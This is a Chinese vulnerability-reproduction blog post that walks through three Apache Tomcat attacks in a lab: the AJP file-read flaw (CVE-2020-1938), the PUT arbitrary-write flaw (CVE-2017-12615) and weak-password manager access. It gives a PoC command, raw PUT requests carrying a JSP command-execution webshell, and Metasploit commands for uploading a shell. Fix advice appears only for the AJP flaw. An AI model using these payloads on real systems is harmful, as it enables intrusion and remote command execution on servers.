vlambda博客
学习文章列表

[漏洞复现]Tomcat漏洞复现

Tomcat_Ajp漏洞

由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。

影响版本:

  • Apache Tomcat 6 

  • Apache Tomcat 7 < 7.0.100 

  • Apache Tomcat 8 < 8.5.51

  • Apache Tomcat 9 < 9.0.31

漏洞编号:

  • CVE-2020-1938 

  • CNVD-2020-10487 

漏洞复现:

靶机:192.168.1.3

环境:tomcat 8.5.23


①端口探测:

靶机8009、8080端口开放。可以进行ajp漏洞探测

[漏洞复现]Tomcat漏洞复现



② 利用poc读取配置文件,复现漏洞:

python poc.py -p 8009 -f "/WEB-INF/web.xml" 192.168.1.3# 注意poc为py2环境

[漏洞复现]Tomcat漏洞复现

③修复建议

1.临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />

2.官方下载最新tomcat:https://tomcat.apache.org/


Tomcat PUT 方法任意写文件

利用环境: Windows+Tomcat 7.0.x+;配置文件readonly=false

影响版本:Apache Tomcat 7.0.0 - 7.0.79。实际Tomcat 5-9均存在类似的利用方式,但这不归属于CVE-2017-12615漏洞。配置文件内容如下:

<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>

漏洞编号:

CVE-2017-12615


利用方式1:

PUT /1.jsp%20 HTTP/1.1Host: your-ip:8080Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 532
******************shell*************************

这种方式适合之所以可以成功创建jsp文件是因为Windows下不允许文件名以空格结尾,但是尾部添加空格可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理绕过。这种利用方式适用于Windows服务器+Tomcat 7.x

利用方式2:

PUT /1.jsp::$DATA HTTP/1.1Host: your-ip:8080Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 532
******************shell*************************

这种方式之所以可行是因为利用了Windows环境下NTFS文件格式的特性,NTFS文件格式存在如下的性质,为此同样可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理。这种利用方式适用于Windows系统+Tomcat 7.x

利用方式3:

PUT /1.jsp/ HTTP/1.1Host: your-ip:8080Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 532
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

# 访问127.0.0.1:8080/122.jsp?cmd=calc,弹出计算器

这种利用斜杠/绕过适合Windows系统及Linux系统,覆盖了Tomcat 5.x-9.x。



Tomcat弱口令拿shell

Tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下,如果tomcat后台管理用户存在弱口令,这很容易被利用上传webshell。

[漏洞复现]Tomcat漏洞复现


弱口令进入后台,上传tomcat.war包,访问上传的shell路径getshell。

[漏洞复现]Tomcat漏洞复现



MSF复现:

[漏洞复现]Tomcat漏洞复现


use exploit/multi/http/tomcat_mgr_uploadset rhost 192.168.1.10set rport 8080set httppassword tomcatset httpusername tomcatexploit# 分别指定主机+端口+用户名&用户密码。利用成功可进行命令执行


[漏洞复现]Tomcat漏洞复现

====================《完》=====================